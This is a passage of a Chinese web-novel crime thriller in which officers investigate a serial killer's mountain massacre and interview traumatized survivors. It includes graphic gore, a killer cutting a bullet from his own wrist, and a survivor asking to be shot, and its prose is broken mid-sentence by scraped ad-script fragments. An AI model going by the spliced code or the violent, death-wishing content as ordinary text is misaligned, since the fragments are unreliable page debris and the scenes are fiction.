他如今已经身处地狱了吗?这场景是假的吗? 直到阴影笼罩下来,卫崧才僵硬着抬头,近距离看到了她的脸和高高挥起的电锯。 那把电锯朝他脑袋垂直劈来。 生死攸关之际,卫崧忽然被一道力猛地推开,猝不及防往旁边倒,电锯便擦过他的肩,削掉一块肉。 卫崧顾不上剧痛,立刻回头。 他看到没了腿的母亲出现在身旁,面色因痛苦而狰狞,泪水涟涟。 她后背新添一道砍伤,喉咙里咕噜噜冒着血泡,说不出话,但卫崧听明白了。 快跑,快跑,快跑。 活下去,活下去,活下去。 卫崧脑中浮现出这一念头,于是像特定程序启动的机器人一样迅速爬起来开始奔跑。 凶手想要追去,但卫崭用完好的双臂紧紧抱住她的腿,尽可能拖时间让卫崧逃离。 凶手低头俯视碍事的人,神色满是不耐烦。 电锯上的血一滴滴砸在卫崭的头上,没入发间。 卫崧觉得自己似乎经历过这一切,但现在痛苦再度来临,把他拖回无尽的噩梦循环。 好累,不想再跑了,被杀死是不是就彻底结束能够安息了? 好冷,明明在跑,为什么一阵阵寒凉还是从心底蹿出来,在身体里游走? 他也不知道自己什么时候挨了一枪,然后又挨了一枪。 血不停地流淌,覆在皮肤上带来片刻温暖,很快又变得冰冷刺骨。 最后他彻底失力,跌倒在地。 “咳咳咳……” 他气管呛了血,正咳着,忽然听到另一阵咳嗽声响起。 他看见一个有几分熟悉的身影蹲在不远处,好像噎住了,短发随着咳嗽摇晃,在膝盖上来回扫动。 “快跑……” 卫崧记得事情隐约不是这一走向,但他还是呢喃出声。 喉咙里被血堵住,好不容易挤出来的话也含糊不清,不知道她听见没有。 凶手很快逼近,一脚踩在他背上,揪起他的头发,卫崧被迫仰起头,望向不远处的人。 快跑…… 此时那个短发女生也转过头来了,神色警惕。 但不是对凶手,而是对着他。冷冷的戒备径直探进他眼里,不知道在找什么。 然后她从背后拿出枪对准了他,似乎完全不在乎拎着电锯的杀人犯。 不对……不应该是这样…… 枪声骤响。 卫崧浑身一震惊醒。 “醒了醒了。” 顺着声音方向移过目光去,他看到了站在病床边的医生和护士。 医生观察着仪器上的线条波动和数值变化,打开屏幕做新的记录。 “没事了,稳定下来了,估计只是做噩梦,不是大问题,”一会儿之后,她收起屏幕,“有觉得哪里不舒服就按床沿的按钮,我马上过来检查。” “凶手……凶手……抓到了吗?” 她们对视一眼,随后说道:“你先休息养伤,案子的情况晚些会有警察来和你聊。” 医护人员离开后,卫崧缓慢抬手,指尖按在眉心。 她那一枪打进这里。 明明是梦,却莫名觉得眉心真的在隐隐发热。 燕逸岫的视线追随着那双手移动,直到最后一只断臂被装进证物袋里。 她又麻木地收回视线,不知道自己走着神在看什么。 如果……如果自己没有抓到康珽叶惹怒反派,是不是就不会有这么多无辜的人死了? 她知道自己不该考虑这些来让自己内耗,让反派得逞,但望着这一地残尸和血色土地,思想便不太受她控制。 有人走到自己身边,肩膀碰着肩膀。 “不要想得太多,干这行就是要面对各种沉重,如果思虑过深,从此以后都会失眠的,睡不了一次好觉。” 燕逸岫沉默半晌,最后还是把徘徊脑海不肯消散的念头问出口:“如果幸存者们知道了这场厄运发生的原因,会恨我吗?” 姜韫垂下眼帘端详她的侧脸:“你知道事态发展不是我们可控的,她们该恨的是反派。” “我们一直追查,他总有一天会被激怒,总有一天会做出这些丧心病狂的事情来,这是必然,只不过没人知道导火索会在哪个节点被点燃而已。” “我明白了,”燕逸岫简短地应了一声,“谢谢队长。” 姜韫看出她不打算在这话题深聊,也不再多言 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,拉她走向警车。 “我们要去哪?” 姜韫扭头瞪她:“还去哪?你胆子忒大,防毒面具也不拿就在山火里四处乱窜,现在活着回来了你说还能去哪?” 燕逸岫心虚低头,小跑跟上她的步伐。 没办法,她得靠气味来辨别,在没觉醒异能前,戴上面具阻隔多多少少会影响判断。 燕逸岫自知理亏,没再吭声,任由姜韫逮着她坐上警车,送去第一医院清肺。 清肺过程中她也一直在神游,直到医生说结束了才回到现实。 姜韫正靠在外面的墙上等。 “怎么样?” “好多了,谢谢队长。”燕逸岫脱下病号服。 姜韫眉毛一扬,歪了歪头,突然问道:“为什么总是在说谢谢?” “啊?”燕逸岫从没想到会有人这么问,折病号服的动作顿住。 “认识你以来,你总是很频繁地说谢谢,你在外面执行任务与人接触时我通过通话也能听到。” 燕逸岫挠脸:“因为确实该谢谢啊,不管大事小事,帮上我我都该道谢。” 姜韫摇摇头:“已经超过礼貌的范畴了,在你潜意识里,道谢转变成了一种防御机制。” 燕逸岫更茫然了。 什么防御机制?这普通的习惯也能牵扯到心理学层面吗? “你觉得有负担,觉得对方占据了道德或情感高位,哪怕只是微不足道的小事,对你来说都是一种无形压迫,所以你要通过言语道谢弥补回去。” “这样一来两相抵消,你就可以毫无负担地抽身拉开距离,重新达成社交平衡,甚至可以毫无负担地结束这段关系。” 燕逸岫听得一愣一愣的。 “以后可以不用什么事都要说谢谢的。” “不说那怎么办?感觉自己亏欠别人……” 姜韫露出一副抓到把柄的表情:“你看,你自己也说出来了,你就是害怕亏欠,才会用这种方式来清空每一段交集互动中产生的各种不平衡。” 这些她自己确实心里有点数,燕逸岫无话可反驳,听完后憋出一句:“那要怎么改?” “如果这是让你舒适的社交方式,当然可以不用改,这辈子怎么活由你自己决定。” “但我们是队友,是不用那么疏离客气的关系,如果你愿意的话,可以试着稍稍放下戒心,轻松一点,在我们面前不必太紧绷。” “当然了,系统提醒过不要轻易泄露自己的底牌,我指的不是这方面的放下戒心。” 姜韫捻走燕逸岫头发间沾的树叶焚烧残屑:“至少,不用一直对我说谢谢,我从不认为这些小事会导致什么亏欠,是我自己想做的事情,又不是抱有什么目的要欠个人情做交易。” 姜韫收回手后,燕逸岫看到她指尖的黑屑,才知道原来头发还没抖干净。 “怎么还是脏的,”她后退半步拨拉头发扫几下,下意识又蹦出一句,“谢谢。” “你又说了。” “……” 姜韫撇开头笑,笑得略弯了弯腰。 “我没有逼你改的意思,只是有点好奇,说出来看看是不是我如我所猜测的。” “总是在计算往来接触产生的亏欠和偿还,我担心你精神会累,如果这对你来说是简单自然的事,就随心吧,生活了十几二十年,总结出来和遵循下去的社交方法肯定是自己最能接受的。” 燕逸岫还没想好怎么回答,姜韫的“宙”弹出来电提示。 她接通电话和对方说了几句,再次扭头看向燕逸岫。 “卫崧,就是你说曾经遇见过的那个可疑幸存者,他刚结束一轮询问,说想见见救自己的人。” “他就在这所医院,十楼,你要去吗?” 51. 我想死在你手里 “啊,”燕逸岫瞬间社恐发作,挪动脚滑出一步靠近姜韫身边,“不、不去了吧。” 她最怕和这种关系的人接触。 见过一两次,说过几句话,只是萍水相逢,对她而言谈不上认识。 但对方有印象,碰上了难免得尬聊几句。 燕逸岫一点都不熟悉,又不知道该怎么开口怎么接话怎么抛新话题,甚至打招呼她都不知道该怎么打。 所以平常她在路上碰到这类人就会马上偷偷绕路躲开,假装没看见对方,省去一场尴尬。 姜韫点点头:“那我就说你在第二医院查看另一批幸存者情况,这会儿还脱不开身?” “嗯……等等……等等,”燕逸岫纠结地咬着下嘴唇,“要不然……” 暂时不确定对方是不是反派的人,见了面多多少少会暴露自己的信息,可相应的,如果她努力接接话,说不定也能了解他的经历和行为习惯寻找线索。 最后她迟疑地看向姜韫。 “我陪你一起去吧,我在门外等你,万一你不知道该怎么办了我就进去救场。”姜韫拿她没辙。 燕逸岫立马嬉皮笑脸挨到她身侧:“谢谢队长,这个真得谢。” 两人离开综合楼前往住院部。 在路上,燕逸岫大概浏览一遍廖怀霖传来的资料。 卫崧,A大大三学生,家也在天极区,与就读的大学隔得不算远。 卫崧父母经营连锁甜品店十几年,生意一直很不错。从初中开始,卫崧没课的时候就会到店里帮忙,是长辈们夸赞的品学兼优孝顺懂事的好孩子。 他的生活一直顺利安稳,没经历什么挫折苦难,直到他和家人在这一天高高兴兴来到沃郁山露营。 人生第一次遭遇深刻的痛苦,竟然是与家人阴阳两隔,是本该在几十年后才要面对的。 A大…… 燕逸岫若有所思。 她记得曾琼瑾和她的朋友也是A大的学生。 说不定将来能产生什么关联。 几分钟后燕逸岫敲开了病房的门走进去。 卫崧正靠坐在床头,洗净身上血迹后,除了伤口,他整个人都是惨白的,像半透明的白纸。 燕逸岫关上门,杵在门边,意识到社交距离好像太远了,有些怪异,于是走了几步靠近。 “谢谢你救了我。”他嗓音沙哑。 “不客气,这是我的职责。”燕逸岫声音也差不多。 因为吸了太多烟雾,喉咙差点咳破了,现在说起话来像堵着一团沙子。 病房内就这么静下来了。 沉默持续两秒,燕逸岫就已经受不了了,她把手背到身后,低头忙碌地数自己有几只脚,站也不是坐也不是,很想赶紧走人。 伤神又伤身,接受完询问的卫崧其实已经很虚弱了,但他还是想见见她,现在几乎是强撑着最后几分精神。 他缓了缓气力又开口:“你大概不记得了,其实我以前见过你……” “哦我想起来了,我想起来了。”燕逸岫连忙回答。 “刚才警员告诉我,今天的案子也是那个连环杀人犯干的,你那时候是在追查有关她的线索吗?难道杀人犯住在附近?” 燕逸岫不知道该怎么说最好,大致酝酿了一遍才回答:“我只是碰巧在附近执勤,连环杀人犯的案子很多线索尚不明确,目前没办法给你肯定的答案。” 卫崧缓慢点了点头。 “我想看看妈妈和爸爸的照片,可以吗?”他抬眼看向与自己保持着一段距离的燕逸岫,目光哀恳。 “这……你现在精神状况不太好,不能受刺激,还是等你好些了再去吧。” “……可是我睡不着,家人不在了,只有我一个人活下来,至少让我看一眼家人的遗容吧,否则我眼睛都闭不上。” 但燕逸岫觉得看了会更睡不着。 好好一个人,因为成为反派的目标而落得个死无全尸的下场,还没体验够生活,还来不及和在乎的人道别。 她一个外人目睹了尸体惨状都快心绞痛,更何况至亲。 卫崧苦笑:“早知道当初报志愿就该听家人的报警校,那么我现在就能加入调查,可以和你们一起抓凶手了。” 燕逸岫不能透露自己的情况,便顺着他的话说道:“我们会抓住凶手的,这些危险的事交给警方,你受了重伤,又……总之、总之先休息最要紧。” 燕逸岫实在不会安慰人,只能像个人机似的一板一眼回答。 卫崧明白她到嘴边又吞回去的话是什么,无力地低头,手指缓慢抚着洁白被单的褶皱。 与亲人生离死别之际,他什么都没来得及说,满心震惊慌乱,只照着脑子里的指示做,也没有回头看最后一眼。 自己能从电锯下逃脱,是妈妈用性命换来的机会。 他一想起这些就万分愧疚,觉得自己背弃了家人,或许他本该留下,握紧妈妈的手和她一起离开。 但他潜意识明白这不是妈妈想要的结局,她最后的拼命不该被辜负。 可自己为什么没能在妈妈还有意识的时候多看一眼?难道就差那一两秒跑不掉吗? 为什么…… 体征检测仪的各项数值突然开始小幅度紊乱,警鸣声响个不停。 燕逸岫吓了一跳,疾步走到病床边:“怎么回事?要不要喊医生来?” 门外的姜韫听到这声音,也不大放心地进来查看情况。 卫崧略偏头深深呼吸:“不用,我只是想到家人……冷静冷静就没事了。” 雪白灯光斜斜切了他小半张脸分割区域,其余部分则蒙上灰暗阴影。 像一把锃亮斧头劈砍下来,而他浑然不觉。 这光白澄澄照着,让人能看得清他脸上的细小绒毛,伤口边缘的肿胀凸起,还有零零散散落在破开的伤口血肉上的光芒。 今天已经见了太多残肢,燕逸岫看着这画面,回忆起山顶的惨烈景象,忽地有些胸闷。 “凶手又全身而退了,是吗?”卫崧问道。 燕逸岫没有说得太绝对:“现在还不确定。” 突然间一阵电话铃在这时候响了。 “我出去接个电话,你们继续谈。”她朝燕逸岫颔首,大步离开病房关上门。 “喂?” “嗯,吃了,今晚吃了火锅。”他关上门走进边回答,说到火这一字眼,他忍不住略咬住重音。 “新闻啊,山火我知道,我吃饭的时候刷到了……” “啊?还有尸体?烧死的吗?”听屏幕那头的人提到凶案,他语气惊讶,脸上却挂着冷漠的笑,“这我倒是不知道,正和朋友商量周末去外省旅游的事情呢,后来就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 没注意新闻了。” “知道知道,放心吧,我不会自己一个人乱跑的。” 挂掉电话收起屏幕后,他已经走回房间,抬起手腕转几下。 嵌在骨头里的子弹纹丝不动。 他从抽屉里取出一把军刀,慢条斯理挖开自己的手腕。 沾满鲜血的手在掀开的皮肉里摸索,黏黏糊糊,滋滋作响。 疼痛让他的嘴角克制不住地抽搐几下,但右手始终没有停下动作。 他找到子弹的位置,将其用军刀撬出来,刀锋硌着同样坚硬的骨头,时不时摩擦出细小的尖锐声。 两分钟后,子弹脱离腕骨掉在桌上滚出十几厘米,留下一道长长的血痕。 松开了手,狰狞伤口就开始飞速愈合,从骨头到皮肉,到最后连一丝疤痕都没留下,恢复如初。 他仔细擦去胳膊上滴淌的血,拿起子弹翻来覆去地端详。 这是他第一次被那个异世界组织的人伤到。 这颗子弹,这一道伤,他一定会还回去。 千倍万倍。 子弹在转动中映出窗外的夜色,灰白暗光一闪而过。 白光仍然像把斧子悬在卫崧脸边。 燕逸岫觉得自己迷信又犯了,眼瞧着这场景有点晦气不详,于是她抬手摸上墙壁,开了他床头墙上的暖黄夜灯,关掉有些刺眼的大灯。 光线变化,卫崧茫然抬头看向她。 “很晚了,先休息吧。”燕逸岫放轻声音。 现在凌晨两点多了。 “已经这么晚了,”卫崧才注意到时间,神色中多了几分歉意,“对不起,我不该占用你太多时间的。” “睡吧。”燕逸岫摆摆手,后退打算离开。 “在手术台上时,我做了一个很奇怪的梦,”卫崧突然又抛出一个话题,“很奇怪,和现实完全相反。” “我梦到你杀了我。” 燕逸岫停住后退的脚步,瞬间呆愣,继而有点心虚。 她确实想过这一层,前提是卫崧确实是反派的人,今天这场戏是反派策划的一出阴谋。 她向来习惯把事情往最坏处想,预设各种可能,然后规划自己应该如何应对。 这样一来,如果最后真的陷入最糟糕的境地,至少心里有所准备,不会毫无头绪。 “怎么可能。”燕逸岫干笑,当然不可能说实话。 卫崧定定与她对视。 “如果是真的也好。” “?” “凶手可能会杀幸存者灭口,会想办法除掉我,对吗?” “那就让我当诱饵引出她吧。” 他嘴角忽然扯起一个小小的弧度:“如果我成功把她引出来,但我也逃不了的话,你能不能先一步杀了我?我不想死在她手里,让她如愿。” “你救了我,给我活下去的机会,我很感激,但到了必死的关头,如果你能送我最后一程,我也很感激,你让我拥有与父母重逢相聚的机会。” 燕逸岫忍不住啧了一声抬手指他,示意他别再说了:“好了不要说这种……” 话还没说完,卫崧轻轻按住她的手腕往自己这儿移,让她的食指抵在自己眉心。 “到时候就往这儿开枪,给我个痛快吧。” 卫崧抬头,仰望上帝般虔诚地向拯救了自己一次的人许愿。 52. 迫近的杀意 燕逸岫木头人似的静止几秒,接着食指使了点力道顺势戳过去,戳得卫崧脑袋略微往后仰。 “就不能想点好的吗。”燕逸岫抽回手,说了句她自己都做不到的话。 因失血过多脸色惨白,燕逸岫也没怎么用力,卫崧额头就渐渐浮出了个浅淡的红印。 “我怎么可能会杀自己好不容易救下来的人。” 除非他是反派阵营一员。 “警方也不会随便让幸存者当诱饵,再次遭遇危险。” 反派是犯下二十几起案子仍然逍遥法外的凶残罪犯,如果被警方救走的幸存者落到他手里,怎么可能轻易解脱。 就算真到了无计可施的境地,她们不得不尝试这么危险的办法,那也是让经验丰富的警察来假扮幸存者,不能让幸存者的身体和心理再受二次伤害。 “我想问问你……算了。”燕逸岫思来想去,又把话吞回去,清了清嗓子遮掩。 卫崧精神状态太差,燕逸岫暂时不敢多问有关案子,怕把人刺激得又进ICU了。 “赶紧睡吧,养伤要紧,后续我们还会再来和你谈案情。” 燕逸岫说完话就要熄灯,意识到不对后手又停在空中。 “要关吗?”她低头问道。 “我也不知道。”卫崧与她对视,眼底情绪仍然有些灰蒙蒙的。 最后燕逸岫还是收回手,留下温和的灯光陪伴他度过这第一个失去家人的夜晚。 燕逸岫离开后,卫崧调整床的高度躺下,浑身卸力,神志晕晕乎乎,但眼皮却像黏了强力胶一样合不上。 他扭头望着窗外出神。 盯着盯着,夜空中忽然出现两颗流星,一前一后划过天际。 这场盛大流星雨落幕前的最后两颗流星。 也不清楚是不是他自己的错觉幻象。 站在窗边的董烁也幸运捕捉到流星的痕迹,他刚刷完五张卷子,打着呵欠伸了个懒腰。 随后他拉紧窗帘,关灯,作出要睡觉休息的架势。 但他关了灯后站在黑暗的房间中不动,默数十几秒,悄然走回窗前。 董烁贴着墙,极其小心地一点点掀开窗帘,露出一条缝往外看。 虽然他早就摆脱霸凌,不过仍然很容易察觉身后有人,很难说这种敏感算不算好事。 以前是为了从霸凌者的魔爪下逃跑,现在是变得疑神疑鬼。 他眯起眼凝视街道对面的阴影,逐渐分辨出了其中一个不明显的更黑的人形阴影。 那人和他一样藏在暗处观察,但董烁不清楚对方是从什么时候开始的。 从他感受得到对方的存在起算日子,到今天已经五天了。 董烁轻轻松手放下窗帘,退回房间中,抬手扶在椅背上。 他怀疑自己家被监视了。 樊隽远正翘着二郎腿躺在床上,还在熬夜打游戏。 这几天舍友各自有事不在宿舍过夜,宿舍成了他一个人的天下。 结束一局轻松赢得胜利后,樊隽远欢呼一声,心满意足退出游戏。 他扯起被子盖住肚脐眼,翻了个身,又放大屏幕开始玩别的,毫无困意。 不大不小的音量完美盖过了其它声音。 一双脚久久停在门外,听着屋里的动静。 而樊隽远毫不知情。 唐映清最近总是做噩梦。 每次睡醒都记不太清梦境,但惶惶然的感觉格外清晰。 今天她又一次从噩梦中惊醒,心脏跳得飞快,额头全是细汗。 她看了眼时间,凌晨三点。 唐映清深呼吸几次,后仰倒回床上,用力揉几下沉重酸涩的眼皮,迷迷糊糊考虑着要不要预约挂个精神科,开点安眠药物。 要是能记住梦里发生了什么就好了。她想着这些,再次睡着。 摆在桌上的玩偶静静注视着唐映清。 那是妈妈送的礼物,陪了她十几年。 它的目光永远凝在唐映清身上。 一直一直。 姜韫和燕逸岫离开医院后先回了一趟基地。 秦观秋和谭誉道已经在会议室中等着了。 由于担心燕逸岫独自一人闯火海会出事,秦观秋和谭誉道后来都穿上防护服,得到消防机器人的允许进入燃烧区。 两人也吸了不少烟雾,胳膊还被几点火星子烫伤了。 结束搜山后她们两人也被姜韫塞上救护车去医院做一次彻底的清肺。 燕逸岫难免有些歉疚,说自己让她们担心了。 两人根本不在意,把伤口展示给她看,哈哈笑着说确实很严重,再拖下去它就自个儿偷偷好全了。 燕逸岫也笑起来,继而左右张望:“温簌呢?” “她还在第二医院。” 姜韫指了指浮在空中的其中一面屏幕。 所有幸存者都被警方安排进暗藏窃听器、高清摄像头和防医闹控制系统的病房入住,以便时时监管她们的行为举止。 一来可以通过观察来排除她们的嫌疑,同时也是一种保护。 谁也不知道反派会不会再次出手,将这场犯罪“圆满”完成。 温簌找到的第一个幸存者因为目睹凶杀现场而情绪崩溃,最初害怕不肯跟温簌离开,被解救出来后来又只愿意与发现自己的人对话。 所以温簌现在还在待在医院里和警方一起问话。 “其她幸存者差不多都休息了,想再询问得等白天。” “还有这项报告。”姜韫手指划拉屏幕拖出另一份文件。 警方拿燕逸岫捡到的手枪做了枪弹痕迹检验,弹痕数据被丢进庞大数据库对比,最后居然成功匹配上了。 是个让大家想不到但也在意料之内的结果。 这把枪发射出的子弹弹痕与从先前两名遇害的1队成员体内取出的子弹弹痕相同。 的确是反派的手枪。 可他到底是如何脱身的? 这一疑问在燕逸岫脑海中不断盘旋。 她在数面屏幕前踱步,不一会儿停下脚步,找到了她一直在意的那个幸存者。 “她不是还没睡吗?” 燕逸岫看了眼队友,目光重新转回正前方。 监控中的小女孩正一动不动盯着天花板。 “前不久打给我的电话就是来说明她的情况。” “这个名叫申天诺的孩子始终沉默,面对医生和警察的询问都完全不开口,连对视都不对视。” 警方联系了她的亲戚,得知申天诺原本就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是比较孤僻寡言的性格,不怎么与除父母之外的人交流,朋友也少。 医生仔细检查过,确认她没有神经方面的损伤,推测是可怕的危险经历导致她暂时封闭,建起自我防御保护。 燕逸岫边听翻资料边踱步,过完一遍内容后她正好又回到了屏幕前。 姜韫问道:“不知道你会不会比较擅长处理这种情况?和你性子有些相似。” “明天我可以试试。”燕逸岫点头。 她没有太大把握,但她确实想和这个小孩接触接触。 燕逸岫没见过彭嵘的哥哥,之前本不太明白彭嵘的感受,但当申天诺进入她视线中时,她忽然有些懂了。 她亲身感受到了遇见同类人时的心脏震颤,还有如同他乡逢熟人般的感慨。 直到燕逸岫再次来到申天诺面前,这种感觉依然如初见般新奇。 燕逸岫独自进入病房,没有让警员陪同。 她径直走到窗边的椅子坐下,倚着墙望窗外。 屋里多了个人,然而申天诺仿佛看不见听不见,眼珠子都不动,保持着盯天花板发呆的模样。 同样的,燕逸岫不问案情相关也不闲聊搭话。 屋子里静悄悄的,明明是两个沉默无话的陌生人,但气氛却不尴尬压抑。 十几分钟后,申天诺漆黑的眼珠子终于转动了,她的目光落在燕逸岫身上,又凝固了近十分钟。 侧坐着的燕逸岫察觉得到,但她假装没发现,只以余光暗中观察。 “你在看什么。”申天诺终于开了口,嗓音轻细。 “没看什么,我在神游。”燕逸岫拖长语调慢吞吞回答。 “那你在想什么。” 燕逸岫扭头看向她:“我……应该和你想着同样的事情吧。” 申天诺“哦”了一声,注意力又回到苍白的天花板上,神思在那上面编着蜘蛛网。 燕逸岫忍不住瞧了眼被褥下的腿的形状。 此前她还担心这七个人的腿能否恢复,能否正常行走,会不会落个终身残疾。 显然她低估新世界的高科技水平,听秦观秋说她们这种伤势两周后骨头就能愈合好全,重新变得生龙活虎。 “你救了我们。”申天诺忽然开口,没有转头,好像在对着天花板说话。 “这是我该做的。” “谢谢。” “不客气。” 死板的对话结束后,两人再度沉默,各看各的风景。 不知过了多久,燕逸岫听出申天诺的呼吸变得均匀平缓,走到病床边时发现她已经睡着了。 燕逸岫小心翼翼为她掖好被角,离开病房。 完成第一阶段的熟悉接触后,燕逸岫风风火火穿过医院走廊,准备按照计划执行下一项任务。 “警官。” 燕逸岫继续往前走。 “警官?警官?警、姐……恩人?” 燕逸岫又走了几步,慢好几拍才反应过来这是不是在喊她。 她转头,看到穿着病号服的卫崧站在不远处。 他气色比昨天稍稍好看了点,手上还插着针管,连着的一大袋营养液被小型无人机勾着飞在空中。 “我还没问你名字,都不知道该怎么喊住你了。” 53. 相同气味与跳崖消失疑云 他边说着,一手扶墙慢腾腾挪动伤腿朝她走来。 燕逸岫看得心惊肉跳,脸上表情快要裂开。 身中两弹,还被砍了几下,差点被杀了,大半夜做的手术,白天就下床走动。 大兄弟,你身上完全不痛的吗? “你怎么没有卧床好好养伤?出来也不用上轮椅。” 燕逸岫假装没听见他的问话,不着痕迹揭了过去。 卫崧说走一走踏在地面才觉得真实,才确定自己真的还活着。 “那你要去哪儿?” “我想出去晒晒太阳。” “晒太阳?”燕逸岫简直怀疑自己听错了,瞥了眼门外的刺目白光,“这么热的天气,闷出汗对伤口愈合不利吧。” “就一会儿,就一会儿。”卫崧蜷起冷得像冰的指头,冲她笑了笑。 每次一走神,就仿佛又回到了屠杀场般的现场,一遍遍目睹凶手的狠戾目光与电锯一同朝自己劈下来。 户外太阳毒辣,却也令人安心,正好可以驱散不断从骨子里流淌出来的阴冷感觉。 现在又碰巧遇到把自己救出来的警员,卫崧暗觉更安心了。 燕逸岫自然不放心他独自瞎折腾,走到大厅拉了一辆轮椅过来让他坐,弯腰启动扶手上的程序设置路线。 轮椅平稳带着卫崧前往目的地,来到住院部和综合楼中间的公园里,停在景观石边。 燕逸岫跟在他后面,一走出大楼就晒得慌,赶紧从挎包里拿出伞撑开遮阳。 “你怎么打的是营养液,不是其它药?”燕逸岫凑近辨认袋子上标注的成分。 “吃不下东西。” 无论什么菜,总让卫崧联想到昨夜场景的某一处。 米饭像砍掉四肢的躯体,像半截上臂和大腿,菜是生绿霉的人皮,肉就是肉,被破开被削掉的人肉。 就算克制念头,闭着眼将饭菜塞进嘴里,没嚼两下就觉得自己咬的是活生生的人,血的腥气顿时充斥口腔和呼吸。 他恶心得受不了,实在是一口都吃不下去,差点把空空的胃呕出来。 医生考虑到他情况特殊,便暂时让他输一两天营养液度过刚开始的心理调整期。 强烈的太阳光让燕逸岫逐渐眯起眼,她想到卫崧右肩有一大块被削砍的伤口,于是默默将伞偏过去几厘米。 阴影悄然落在卫崧一边肩头,阻挡住直直照射下来的炽热光线。 被热气包裹着,卫崧反而放松下来,终于生起了几分困倦。 他闭上眼,很快又睁大了些,身子歪靠向燕逸岫所站一侧,胳膊扶在把手上。 “你昨天好像还有些问题没来得及问我,是什么?” 见他恢复些了,情绪稳定,燕逸岫也就放心开口问。 “凶手大概率是用药物一次性放倒几十人,晕倒之前你有闻到什么气味吗?” “没有什么奇怪的,山上都是土和花草树木的气味,人身上的洗发露沐浴露洗衣液的香气。” “还有露营时大家翻出来的各种食物,面包蛋糕味、糖果甜味、烤肉香味、胡椒粉等等等等。” 有太多气味飘于空中,所以即便是刺鼻怪异的药水混进去,也很难被众人察觉。 “除了凶手的长相,你还能想起什么吗?他的行为习惯之类的。” 卫崧黯然叹气:“发生得太快了,我当时刚醒来,睁眼就是那一恐怖场景,大脑宕机,只盯住了她的脸,没注意其它。” “妈妈把我推开后我就开始逃跑,一心往前跑,没有回头,树林里太黑了,离得远些就很难看清楚。” 在失眠的一整晚里,他与恐惧产生的身体反应对抗,硬是将这段画面翻来覆去放大缩小回忆了无数遍,企图找到任何能辨认凶手特征的细节。 可是他什么都想不到了,只有满头满手的汗一点点蒸发,悲凉渗骨。 卫崧安慰自己一定是因为受了太大刺激而暂时失去一部分记忆。 只要自己每天回想,很快就会在记忆中找到线索,协助警方抓到残忍杀害自己父母的凶手。 燕逸岫点着头,将卫崧提供的证词内容在脑海中归类。 等等…… 燕逸岫突然愣了片刻,旋即低头看向对方:“你刚才说,有糖果甜味?” “对,大概是买给小孩子吃的零食吧,闻着感觉像是麦芽糖和蜂蜜的甜味。” 卫崧前几天正好在研究制作装饰糖果,所以对这一气味更熟悉些。 “持续了多久?这股味道大概是什么时候闻到的?” 燕逸岫问得细,卫崧也就意识到这可能是什么线索,于是回忆得更加认真,眉头紧皱。 “我没注意时间,大概是晕倒前两三分钟吧,气味挺淡的,没持续多久就被比较重的烤肉味压下去了,至少我所在的位置是闻不着了。” 仰头望着燕逸岫沉吟的模样,卫崧朝她斜过身,眼中多了几分期盼:“是很重要的证据吗?我说的能帮上忙吗?” “还不确定。” “那……” “卫崧。” 这时另一道声音响起。两人同时看向声音来处。 一名面容和善的护士正往这儿走来。 燕逸岫昨天也瞧见过她推着测量仪匆忙穿过走廊。 “俞阿姨。”卫崧应道。 俞殷笑眯眯打量两人:“是朋友来探望你了?” “嗯。” “那就回病房再聊吧,”俞殷走到卫崧身旁,检查输液管和他手背的针头,“到检查的时间了,邹医生门诊结束就要来住院部了。” “好。” “那你先回去吧,我还有别的事,就不上楼了,”燕逸岫后退,“之后再聊。” 卫崧凝视着她笼罩在阴影里的面容,隐约觉得耳朵覆上一层熟悉的温暖力道。 “好,再见。” “再见。”燕逸岫说完,冲俞殷礼貌笑笑,转身大步离开。 山火凶案的各项初步报告已经传到每个人的微系统上。 凶案现场尸体共44具,其中33人被肢解摆成图案,最终救出15名幸存者。 警方根据后续接到的报案进行统计核对,发现还有十余人上山后失踪。 无人机此前进行了三遍彻底扫描搜索,没有探测出任何活人反应,因此判断这些失踪人员从反派手中逃走后或死于重伤或死于火灾。 巡视机器人目前正在山中寻找凶器和其余被害者尸体。 屠杀上山游客,可以断定为无差别杀人,但谨慎起见,警方还是将死者信息与以往案件被害人的进行对比,不放过一丝可能的线索。 “反派有没有替换身份的异能仍然无法确定,这次接触比较让人在意的是伤口问题。” 她们当然相信燕逸岫所说,因此对于没检查出手腕中枪的可疑人员这一情况感到疑惑。 “这大概也是什么异能吧。” “空间瞬移?” “隐身?” 燕逸岫抿唇,考虑着这些 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 可能性。 声音消失,又没有藏在幸存者行列里,她怀疑反派那时候跳崖了。 当然,对方不可能是因为走投无路而寻死,也没那么容易死,所以问题又回到了原点。 他到底是如何掩盖手腕上的伤口、如何逃离空中和地面的双重严密盘查? 如果是隐身,虽然肉眼看不见,但按理说她应该还是能听见行动和呼吸的声音,不会完全发现不了。 至于空间瞬移…… 如果反派真有这本事,在犯罪领域可谓天下无敌了,她们还怎么有办法抓到人,前途简直是一片灰暗。 谭誉道说完隐身的可能,又否认了自己的想象力:“隐身,那金手指也开太大了,”他摇摇头,看向侧后方的燕逸岫,“不过感觉这异能倒是很适合逸岫。” 燕逸岫见忽然提到自己,茫然抬起头,不好意思地笑笑,小声应道:“要是真有就好了,跟踪嫌疑人多方便。” 她在原世界时倒是很希望自己有隐身的能力,那么社恐的生活幸福感将会有质的飞跃。 季渊知两手抄进白服口袋里,也加入讨论:“超强的伤口愈合能力?” “类似于假死的能力?”乔琅趴在椅背上,随着椅子左右转着,“没有活人反应就能逃过无人机的监测了。” “或者是可以屏蔽医疗机器检测功能伪造假数据?” 大家你一言我一语猜测,燕逸岫听着感觉都很有道理。 等话题暂时停下来了,她将卫崧提到的甜气味告诉她们。 “孔振吉案中,发现者一家也有闻到类似的气味,大概是因为地下车库空气不流通,气味留得久一些。” 疑似相同的气味在两个现场出现,不知道有没有什么关联。 “类似麻醉剂的药物?” 季渊知说着,扶眼镜抬头浏览屏幕上一张张烟熏火燎的焦黑照片。 “可惜现场附近被火灾彻底破坏了,又下了场大雨,收集空气来检测恐怕也查不出什么了。” 正和大家一起翻阅数据信息讨论案子,姜韫又接到一个电话。 “康珽叶出事了?” 